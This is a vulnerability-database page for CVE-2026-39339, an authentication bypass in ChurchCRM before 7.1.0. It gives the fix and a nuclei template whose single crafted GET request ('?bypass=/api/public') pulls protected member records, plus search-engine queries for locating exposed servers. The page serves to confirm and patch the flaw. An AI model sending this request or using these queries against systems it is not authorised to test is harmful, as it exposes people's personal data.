Browse / CVEs / CVE-2026-39339
CVE-2026-39339· churchcrm / churchcrm· CWE-284
ChurchCRM - API Authentication Bypass via URL Injection
criticalseverity
9.1CVSS score
1.4%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it
ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
Impact
Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
Fix
Update to version 7.1.0 or later.
How to confirm it
Send: GET {{BaseURL}}/api/persons/latest?bypass=/api/public
Positive when: contains "PersonId" and "FormattedName" and "\"people\"" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2026-39339 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-39339
info:
name: ChurchCRM - API Authentication Bypass via URL Injection
author: akhilshekhar
severity: critical
description: |
ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
impact: |
Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
remediation: |
Update to version 7.1.0 or later.
reference:
- https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-39339
epss-score: 0.01351
epss-percentile: 0.71764
cwe-id: CWE-284
cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
metadata:
vendor: churchcrm
product: churchcrm
shodan-query: http.title:"churchcrm"
fofa-query: app="churchcrm"
tags: cve,cve2026,churchcrm,auth-bypass
http:
- method: GET
path:
- "{{BaseURL}}/api/persons/latest?bypass=/api/public"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PersonId"
- "FormattedName"
- "\"people\""
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from